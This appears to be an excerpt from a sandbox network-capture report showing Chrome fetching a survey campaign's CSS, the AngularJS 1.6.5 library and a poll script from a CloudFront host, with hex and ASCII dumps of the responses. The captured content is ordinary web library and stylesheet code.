2024-11-23 20:11:49 UTC	730	OUT	GET /themes/production/microsoft-net-net-theme-campaign-0b982e5e3bfe6b6f78ac7f3be8f28908.css HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://d6tizftlrpuof.cloudfront.net/live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=right Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:50 UTC	593	IN	HTTP/1.1 200 OK Content-Type: text/css Content-Length: 37819 Connection: close Date: Sat, 23 Nov 2024 20:11:50 GMT Last-Modified: Tue, 23 May 2023 12:42:23 GMT ETag: "0b982e5e3bfe6b6f78ac7f3be8f28908" x-amz-server-side-encryption: AES256 Cache-Control: max-age=315360000, no-transform, public x-amz-version-id: aTFgnG09CtLrRX9mSgQbSdn9bpRqOQH1 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 58d3c503a480576abdfaa9676970b67c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: ztDmdvk6pSqeBp92djBJAlTa1UR60FNe4bynjMWJKpUyF6BxkVSkxg==
2024-11-23 20:11:50 UTC	14588	IN	Data Raw: 2f 2a 21 20 73 61 6e 69 74 69 7a 65 2e 63 73 73 20 76 35 2e 30 2e 30 20 7c 20 43 43 30 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 68 75 62 2e 63 6f 6d 2f 6a 6f 6e 61 74 68 61 6e 74 6e 65 61 6c 2f 73 61 6e 69 74 69 7a 65 2e 63 73 73 20 2a 2f 2a 2c 3a 3a 62 65 66 6f 72 65 2c 3a 3a 61 66 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 69 6e 68 65 72 69 74 7d 3a 3a 62 65 66 6f 72 65 2c 3a 3a 61 66 74 65 72 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 69 6e 68 65 72 69 74 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 69 6e 68 65 72 69 74 7d 68 74 6d 6c 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 3b 2d 6d 73 Data Ascii: /! sanitize.css v5.0.0 \| CC0 License \| github.com/jonathantneal/sanitize.css /*,::before,::after{background-repeat:no-repeat;box-sizing:inherit}::before,::after{text-decoration:inherit;vertical-align:inherit}html{box-sizing:border-box;cursor:default;-ms
2024-11-23 20:11:50 UTC	2317	IN	Data Raw: 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 30 7d 2e 74 6f 70 3a 6e 6f 74 28 2e 70 6f 70 6f 75 74 29 20 2e 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 30 7d 2e 62 6f 74 74 6f 6d 3a 6e 6f 74 28 2e 70 6f 70 6f 75 74 29 20 2e 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 30 7d Data Ascii: left-radius:0;border-left:0}.top:not(.popout) .container{margin-top:0;border-top-left-radius:0;border-top-right-radius:0;border-top:0}.bottom:not(.popout) .container{margin-bottom:0;border-bottom-left-radius:0;border-bottom-right-radius:0;border-bottom:0}
2024-11-23 20:11:50 UTC	9546	IN	Data Raw: 36 30 35 70 78 29 7b 2e 70 6f 77 65 72 65 64 2d 73 6d 61 6c 6c 2c 2e 70 6f 77 65 72 65 64 7b 62 6f 74 74 6f 6d 3a 33 33 70 78 7d 7d 2e 70 6f 77 65 72 65 64 2d 73 6d 61 6c 6c 3a 62 65 66 6f 72 65 2c 2e 70 6f 77 65 72 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 27 27 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 22 68 74 74 70 73 3a 2f 2f 64 36 74 69 7a 66 74 6c 72 70 75 6f 66 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 70 72 6f 64 75 63 74 69 6f 6e 2f 6d 69 63 72 6f 73 6f 66 74 2d 6e 65 74 2d 6e 65 74 2d 74 68 65 6d 65 2d 73 70 72 69 74 65 2d 64 63 30 39 39 61 30 38 36 39 38 62 32 37 35 33 38 63 32 61 61 62 39 64 31 61 31 64 33 61 65 33 2e 70 6e 67 22 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 Data Ascii: 605px){.powered-small,.powered{bottom:33px}}.powered-small:before,.powered:before{content:'';background-image:url("https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-theme-sprite-dc099a08698b27538c2aab9d1a1d3ae3.png");background-size
2024-11-23 20:11:50 UTC	11368	IN	Data Raw: 74 74 6f 6e 7d 7d 2e 63 6f 6e 74 72 6f 6c 2d 6e 70 73 20 6c 69 2c 2e 63 6f 6e 74 72 6f 6c 2d 72 61 74 69 6e 67 20 6c 69 2c 2e 63 6f 6e 74 72 6f 6c 2d 6d 61 74 72 69 78 52 61 74 69 6e 67 20 6c 69 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 63 6f 6e 74 72 6f 6c 2d 6e 70 73 20 6c 61 62 65 6c 2c 2e 63 6f 6e 74 72 6f 6c 2d 72 61 74 69 6e 67 20 6c 61 62 65 6c 2c 2e 63 6f 6e 74 72 6f 6c 2d 6d 61 74 72 69 78 52 61 74 69 6e 67 20 6c 61 62 65 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 68 65 6c 76 65 74 69 63 61 22 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 31 30 30 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6f 6c 6f 72 Data Ascii: tton}}.control-nps li,.control-rating li,.control-matrixRating li{display:inline-block}.control-nps label,.control-rating label,.control-matrixRating label{font-family:"helvetica";font-size:13px;font-weight:100;display:inline-block;position:relative;color

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49808	108.158.71.166	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:49 UTC	656	OUT	GET /vendor/1.6.5/angular.min.js HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://d6tizftlrpuof.cloudfront.net/live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=right Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:50 UTC	555	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 168517 Connection: close Date: Sat, 23 Nov 2024 20:11:51 GMT Last-Modified: Mon, 15 Oct 2018 13:12:21 GMT ETag: "07a72b597f2fc10d6f88c8277d903d94" Cache-Control: public, max-age=31536000 x-amz-version-id: vcdCWXCYksVKD7G3lFwbKc37p7539vVp Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 7499a2cb4ce8411b56e7edcaead781a0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: CzH-VbzY_ooat69KoyNe9F2Es-DI2ty_MqoZj1v_rKB6eMbJemfDOg==
2024-11-23 20:11:50 UTC	8192	IN	Data Raw: 2f 2a 0a 20 41 6e 67 75 6c 61 72 4a 53 20 76 31 2e 36 2e 35 0a 20 28 63 29 20 32 30 31 30 2d 32 30 31 37 20 47 6f 6f 67 6c 65 2c 20 49 6e 63 2e 20 68 74 74 70 3a 2f 2f 61 6e 67 75 6c 61 72 6a 73 2e 6f 72 67 0a 20 4c 69 63 65 6e 73 65 3a 20 4d 49 54 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 78 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 66 75 6e 63 74 69 6f 6e 20 70 65 28 61 29 7b 69 66 28 47 28 61 29 29 74 28 61 2e 6f 62 6a 65 63 74 4d 61 78 44 65 70 74 68 29 26 26 28 4c 63 2e 6f 62 6a 65 63 74 4d 61 78 44 65 70 74 68 3d 54 62 28 61 2e 6f 62 6a 65 63 74 4d 61 78 44 65 70 74 68 29 3f 61 2e 6f 62 6a 65 63 74 4d 61 78 44 65 70 74 68 3a 4e 61 4e 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 4c 63 7d 66 75 6e 63 74 69 6f 6e 20 54 62 28 61 29 7b 72 65 74 75 72 6e Data Ascii: /* AngularJS v1.6.5 (c) 2010-2017 Google, Inc. http://angularjs.org License: MIT*/(function(x){'use strict';function pe(a){if(G(a))t(a.objectMaxDepth)&&(Lc.objectMaxDepth=Tb(a.objectMaxDepth)?a.objectMaxDepth:NaN);else return Lc}function Tb(a){return
2024-11-23 20:11:50 UTC	8751	IN	Data Raw: 6c 75 65 28 22 24 72 6f 6f 74 45 6c 65 6d 65 6e 74 22 2c 61 29 7d 5d 29 3b 64 2e 64 65 62 75 67 49 6e 66 6f 45 6e 61 62 6c 65 64 26 26 62 2e 70 75 73 68 28 5b 22 24 63 6f 6d 70 69 6c 65 50 72 6f 76 69 64 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 64 65 62 75 67 49 6e 66 6f 45 6e 61 62 6c 65 64 28 21 30 29 7d 5d 29 3b 0a 62 2e 75 6e 73 68 69 66 74 28 22 6e 67 22 29 3b 63 3d 67 62 28 62 2c 64 2e 73 74 72 69 63 74 44 69 29 3b 63 2e 69 6e 76 6f 6b 65 28 5b 22 24 72 6f 6f 74 53 63 6f 70 65 22 2c 22 24 72 6f 6f 74 45 6c 65 6d 65 6e 74 22 2c 22 24 63 6f 6d 70 69 6c 65 22 2c 22 24 69 6e 6a 65 63 74 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 61 2e 24 61 70 70 6c 79 28 66 75 6e 63 74 69 6f 6e 28 29 7b 62 2e 64 61 74 61 28 22 24 69 Data Ascii: lue("$rootElement",a)}]);d.debugInfoEnabled&&b.push(["$compileProvider",function(a){a.debugInfoEnabled(!0)}]);b.unshift("ng");c=gb(b,d.strictDi);c.invoke(["$rootScope","$rootElement","$compile","$injector",function(a,b,c,d){a.$apply(function(){b.data("$i
2024-11-23 20:11:50 UTC	16384	IN	Data Raw: 65 74 75 72 6e 20 63 2e 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 7d 3b 76 61 72 20 66 3d 0a 62 5b 64 7c 7c 63 2e 74 79 70 65 5d 2c 67 3d 66 3f 66 2e 6c 65 6e 67 74 68 3a 30 3b 69 66 28 67 29 7b 69 66 28 76 28 63 2e 69 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 29 29 7b 76 61 72 20 6b 3d 63 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 3b 63 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 2e 69 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 3d 21 30 3b 63 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 26 26 63 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 3b 6b 26 26 6b 2e 63 61 6c Data Ascii: eturn c.defaultPrevented};var f=b[d\|\|c.type],g=f?f.length:0;if(g){if(v(c.immediatePropagationStopped)){var k=c.stopImmediatePropagation;c.stopImmediatePropagation=function(){c.immediatePropagationStopped=!0;c.stopPropagation&&c.stopPropagation();k&&k.cal
2024-11-23 20:11:50 UTC	16384	IN	Data Raw: 72 65 71 75 69 72 65 2c 68 61 2c 54 29 2c 77 29 3b 70 28 54 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 61 2e 69 6e 73 74 61 6e 63 65 3b 45 28 61 2e 24 70 6f 73 74 4c 69 6e 6b 29 26 26 61 2e 24 70 6f 73 74 4c 69 6e 6b 28 29 7d 29 7d 6c 3d 6c 7c 7c 7b 7d 3b 66 6f 72 28 76 61 72 20 6e 3d 2d 4e 75 6d 62 65 72 2e 4d 41 58 5f 56 41 4c 55 45 2c 48 3d 6c 2e 6e 65 77 53 63 6f 70 65 44 69 72 65 63 74 69 76 65 2c 75 3d 6c 2e 63 6f 6e 74 72 6f 6c 6c 65 72 44 69 72 65 63 74 69 76 65 73 2c 4c 3d 6c 2e 6e 65 77 49 73 6f 6c 61 74 65 53 63 6f 70 65 44 69 72 65 63 74 69 76 65 2c 4d 3d 6c 2e 74 65 6d 70 6c 61 74 65 44 69 72 65 63 74 69 76 65 2c 4a 3d 6c 2e 6e 6f 6e 54 6c 62 54 72 61 6e 73 63 6c 75 64 65 44 69 72 65 63 74 69 76 65 2c 5a 3d 21 31 2c 54 3d 21 31 2c 55 3d 6c Data Ascii: require,ha,T),w);p(T,function(a){a=a.instance;E(a.$postLink)&&a.$postLink()})}l=l\|\|{};for(var n=-Number.MAX_VALUE,H=l.newScopeDirective,u=l.controllerDirectives,L=l.newIsolateScopeDirective,M=l.templateDirective,J=l.nonTlbTranscludeDirective,Z=!1,T=!1,U=l
2024-11-23 20:11:50 UTC	2048	IN	Data Raw: 3d 63 2e 68 65 61 64 65 72 73 2c 72 3d 22 6a 73 6f 6e 70 22 3d 3d 3d 4e 28 63 2e 6d 65 74 68 6f 64 29 2c 63 61 3d 63 2e 75 72 6c 3b 72 3f 63 61 3d 6d 2e 67 65 74 54 72 75 73 74 65 64 52 65 73 6f 75 72 63 65 55 72 6c 28 63 61 29 3a 43 28 63 61 29 7c 7c 28 63 61 3d 6d 2e 76 61 6c 75 65 4f 66 28 63 61 29 29 3b 63 61 3d 46 28 63 61 2c 63 2e 70 61 72 61 6d 53 65 72 69 61 6c 69 7a 65 72 28 63 2e 70 61 72 61 6d 73 29 29 3b 72 26 26 28 63 61 3d 4d 28 63 61 2c 63 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 50 61 72 61 6d 29 29 3b 6e 2e 70 65 6e 64 69 6e 67 52 65 71 75 65 73 74 73 2e 70 75 73 68 28 63 29 3b 54 2e 74 68 65 6e 28 75 2c 75 29 3b 21 63 2e 63 61 63 68 65 26 26 21 61 2e 63 61 63 68 65 7c 7c 21 31 3d 3d 3d 63 2e 63 61 63 68 65 7c 7c 22 47 45 54 22 21 3d 3d Data Ascii: =c.headers,r="jsonp"===N(c.method),ca=c.url;r?ca=m.getTrustedResourceUrl(ca):C(ca)\|\|(ca=m.valueOf(ca));ca=F(ca,c.paramSerializer(c.params));r&&(ca=M(ca,c.jsonpCallbackParam));n.pendingRequests.push(c);T.then(u,u);!c.cache&&!a.cache\|\|!1===c.cache\|\|"GET"!==
2024-11-23 20:11:50 UTC	16384	IN	Data Raw: 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 65 72 72 6f 72 22 2c 6d 29 3b 65 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 66 29 3b 72 65 74 75 72 6e 20 6d 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 2c 6b 2c 68 2c 6c 2c 6d 2c 6e 2c 71 2c 46 2c 4d 2c 77 29 7b 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 6e 61 26 26 6e 61 28 29 3b 73 26 26 73 2e 61 62 6f 72 74 28 29 7d 6b 3d 6b 7c 7c 61 2e 75 72 6c 28 29 3b 69 66 28 22 6a 73 6f 6e 70 22 3d 3d 3d 4e 28 65 29 29 76 61 72 20 41 3d 63 2e 63 72 65 61 74 65 43 61 6c 6c 62 61 63 6b 28 6b 29 2c 6e 61 3d 66 28 6b 2c 41 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 65 3d 32 30 30 3d 3d 3d 61 26 26 63 2e 67 65 74 52 65 73 70 6f 6e 73 65 28 41 29 3b 74 28 44 29 26 26 64 2e 63 61 6e 63 65 6c 28 44 Data Ascii: ventListener("error",m);e.body.appendChild(f);return m}return function(e,k,h,l,m,n,q,F,M,w){function u(){na&&na();s&&s.abort()}k=k\|\|a.url();if("jsonp"===N(e))var A=c.createCallback(k),na=f(k,A,function(a,b){var e=200===a&&c.getResponse(A);t(D)&&d.cancel(D
2024-11-23 20:11:50 UTC	1024	IN	Data Raw: 7d 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6d 28 62 2c 61 29 7d 29 7d 29 3b 30 3d 3d 3d 63 26 26 68 28 62 2c 64 29 3b 72 65 74 75 72 6e 20 62 7d 3b 75 2e 72 61 63 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 63 28 29 3b 70 28 61 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 77 28 61 29 2e 74 68 65 6e 28 62 2e 72 65 73 6f 6c 76 65 2c 62 2e 72 65 6a 65 63 74 29 7d 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 6f 6d 69 73 65 7d 3b 72 65 74 75 72 6e 20 75 7d 66 75 6e 63 74 69 6f 6e 20 24 66 28 29 7b 74 68 69 73 2e 24 67 65 74 3d 5b 22 24 77 69 6e 64 6f 77 22 2c 22 24 74 69 6d 65 6f 75 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 64 3d 61 2e 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 7c 7c 61 2e 77 65 62 6b 69 74 52 65 71 Data Ascii: },function(a){m(b,a)})});0===c&&h(b,d);return b};u.race=function(a){var b=c();p(a,function(a){w(a).then(b.resolve,b.reject)});return b.promise};return u}function $f(){this.$get=["$window","$timeout",function(a,b){var d=a.requestAnimationFrame\|\|a.webkitReq
2024-11-23 20:11:51 UTC	16384	IN	Data Raw: 2c 61 2e 24 24 6e 65 78 74 53 69 62 6c 69 6e 67 26 26 6c 28 61 2e 24 24 6e 65 78 74 53 69 62 6c 69 6e 67 29 29 3b 61 2e 24 70 61 72 65 6e 74 3d 61 2e 24 24 6e 65 78 74 53 69 62 6c 69 6e 67 3d 61 2e 24 24 70 72 65 76 53 69 62 6c 69 6e 67 3d 61 2e 24 24 63 68 69 6c 64 48 65 61 64 3d 61 2e 24 24 63 68 69 6c 64 54 61 69 6c 3d 61 2e 24 72 6f 6f 74 3d 61 2e 24 24 77 61 74 63 68 65 72 73 3d 6e 75 6c 6c 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 29 7b 74 68 69 73 2e 24 69 64 3d 2b 2b 73 62 3b 74 68 69 73 2e 24 24 70 68 61 73 65 3d 74 68 69 73 2e 24 70 61 72 65 6e 74 3d 74 68 69 73 2e 24 24 77 61 74 63 68 65 72 73 3d 74 68 69 73 2e 24 24 6e 65 78 74 53 69 62 6c 69 6e 67 3d 74 68 69 73 2e 24 24 70 72 65 76 53 69 62 6c 69 6e 67 3d 74 68 69 73 2e 24 24 63 68 69 6c 64 48 65 Data Ascii: ,a.$$nextSibling&&l(a.$$nextSibling));a.$parent=a.$$nextSibling=a.$$prevSibling=a.$$childHead=a.$$childTail=a.$root=a.$$watchers=null}function m(){this.$id=++sb;this.$$phase=this.$parent=this.$$watchers=this.$$nextSibling=this.$$prevSibling=this.$$childHe
2024-11-23 20:11:51 UTC	1024	IN	Data Raw: 29 29 3b 6b 2e 63 61 6c 6c 28 61 2c 51 28 62 5b 31 5d 29 2c 51 28 62 5b 32 5d 29 2d 31 2c 51 28 62 5b 33 5d 29 29 3b 66 3d 51 28 62 5b 34 5d 7c 7c 30 29 2d 66 3b 67 3d 51 28 62 5b 35 5d 7c 7c 30 29 2d 67 3b 6b 3d 51 28 62 5b 36 5d 7c 7c 30 29 3b 62 3d 4d 61 74 68 2e 72 6f 75 6e 64 28 31 45 33 2a 70 61 72 73 65 46 6c 6f 61 74 28 22 30 2e 22 2b 28 62 5b 37 5d 7c 7c 30 29 29 29 3b 68 2e 63 61 6c 6c 28 61 2c 66 2c 67 2c 6b 2c 62 29 7d 72 65 74 75 72 6e 20 61 7d 76 61 72 20 64 3d 2f 5e 28 5c 64 7b 34 7d 29 2d 3f 28 5c 64 5c 64 29 2d 3f 28 5c 64 5c 64 29 28 3f 3a 54 28 5c 64 5c 64 29 28 3f 3a 3a 3f 28 5c 64 5c 64 29 28 3f 3a 3a 3f 28 5c 64 5c 64 29 28 3f 3a 5c 2e 28 5c 64 2b 29 29 3f 29 3f 29 3f 28 5a 7c 28 5b 2b 2d 5d 29 28 5c 64 5c 64 29 3a 3f 28 5c 64 5c 64 Data Ascii: ));k.call(a,Q(b[1]),Q(b[2])-1,Q(b[3]));f=Q(b[4]\|\|0)-f;g=Q(b[5]\|\|0)-g;k=Q(b[6]\|\|0);b=Math.round(1E3*parseFloat("0."+(b[7]\|\|0)));h.call(a,f,g,k,b)}return a}var d=/^(\d{4})-?(\d\d)-?(\d\d)(?:T(\d\d)(?::?(\d\d)(?::?(\d\d)(?:\.(\d+))?)?)?(Z\|([+-])(\d\d):?(\d\d
2024-11-23 20:11:51 UTC	16384	IN	Data Raw: 7d 7d 66 75 6e 63 74 69 6f 6e 20 45 63 28 61 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 43 28 61 29 3f 61 2e 73 6c 69 63 65 28 62 2c 64 29 3a 78 61 2e 63 61 6c 6c 28 61 2c 62 2c 64 29 7d 66 75 6e 63 74 69 6f 6e 20 55 64 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 72 65 74 75 72 6e 20 62 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 63 3d 31 2c 64 3d 61 62 3b 69 66 28 45 28 62 29 29 64 3d 62 3b 65 6c 73 65 20 69 66 28 43 28 62 29 29 7b 69 66 28 22 2b 22 3d 3d 3d 62 2e 63 68 61 72 41 74 28 30 29 7c 7c 22 2d 22 3d 3d 3d 62 2e 63 68 61 72 41 74 28 30 29 29 63 3d 22 2d 22 3d 3d 3d 62 2e 63 68 61 72 41 74 28 30 29 3f 2d 31 3a 31 2c 62 3d 62 2e 73 75 62 73 74 72 69 6e 67 28 31 29 3b 69 66 28 22 22 21 3d 3d 62 26 26 28 64 3d 61 28 62 29 2c Data Ascii: }}function Ec(a,b,d){return C(a)?a.slice(b,d):xa.call(a,b,d)}function Ud(a){function b(b){return b.map(function(b){var c=1,d=ab;if(E(b))d=b;else if(C(b)){if("+"===b.charAt(0)\|\|"-"===b.charAt(0))c="-"===b.charAt(0)?-1:1,b=b.substring(1);if(""!==b&&(d=a(b),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49809	108.158.71.166	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:49 UTC	664	OUT	GET /live/campaign/js/24a5b93b0f.poll.js HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://d6tizftlrpuof.cloudfront.net/live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=right Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:50 UTC	581	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 51103 Connection: close Date: Sat, 23 Nov 2024 20:11:51 GMT Last-Modified: Tue, 15 Nov 2022 13:49:21 GMT ETag: "24a5b93b0fad21ff3ee2913dea782761" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=3600 x-amz-version-id: 54brC8CNx_49Yd0S04vuc7v73_5cjOtS Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 a5809b918549dd11b14905c2a6010052.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: ob-zqiWSSu3VsjsmCsEjwyPOWmfhl8O9eso-FMGaGgQAXx4LvN0WYw==
2024-11-23 20:11:50 UTC	6396	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 61 29 7b 69 66 28 74 5b 61 5d 29 72 65 74 75 72 6e 20 74 5b 61 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 6f 3d 74 5b 61 5d 3d 7b 69 3a 61 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 6e 5b 61 5d 2e 63 61 6c 6c 28 6f 2e 65 78 70 6f 72 74 73 2c 6f 2c 6f 2e 65 78 70 6f 72 74 73 2c 65 29 2c 6f 2e 6c 3d 21 30 2c 6f 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 74 3d 7b 7d 3b 65 2e 6d 3d 6e 2c 65 2e 63 3d 74 2c 65 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 2c 61 29 7b 65 2e 6f 28 6e 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6e 2c 74 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c Data Ascii: !function(n){function e(a){if(t[a])return t[a].exports;var o=t[a]={i:a,l:!1,exports:{}};return n[a].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var t={};e.m=n,e.c=t,e.d=function(n,t,a){e.o(n,t)\|\|Object.defineProperty(n,t,{configurable:!1,enumerable:!0,
2024-11-23 20:11:50 UTC	10521	IN	Data Raw: 73 70 3b 5c 27 20 7d 7d 3c 2f 70 3e 5c 6e 3c 70 20 6e 67 2d 62 69 6e 64 2d 68 74 6d 6c 3d 22 63 61 6d 70 61 69 67 6e 2e 64 61 74 61 2e 74 65 78 74 20 7c 20 74 72 75 73 74 48 74 6d 6c 22 20 6e 67 2d 69 66 3d 22 73 74 61 74 65 2e 61 6c 6c 6f 77 48 74 6d 6c 20 26 26 20 63 61 6d 70 61 69 67 6e 2e 64 61 74 61 2e 68 74 6d 6c 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 22 3e 3c 2f 70 3e 5c 6e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 75 74 74 6f 6e 22 3e 5c 6e 20 20 20 20 3c 61 20 6e 67 2d 68 72 65 66 3d 22 7b 7b 63 61 6d 70 61 69 67 6e 2e 64 61 74 61 2e 72 65 63 72 75 69 74 55 72 6c 7d 7d 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 69 64 3d 22 62 75 74 74 6f 6e 22 20 6e 67 2d 63 6c 69 63 6b 3d 22 63 2e 73 75 63 63 65 73 73 41 6e 64 43 6c 6f 73 65 28 29 22 3e Data Ascii: sp;\' }}</p>\n<p ng-bind-html="campaign.data.text \| trustHtml" ng-if="state.allowHtml && campaign.data.html" class="main"></p>\n<div class="button">\n <a 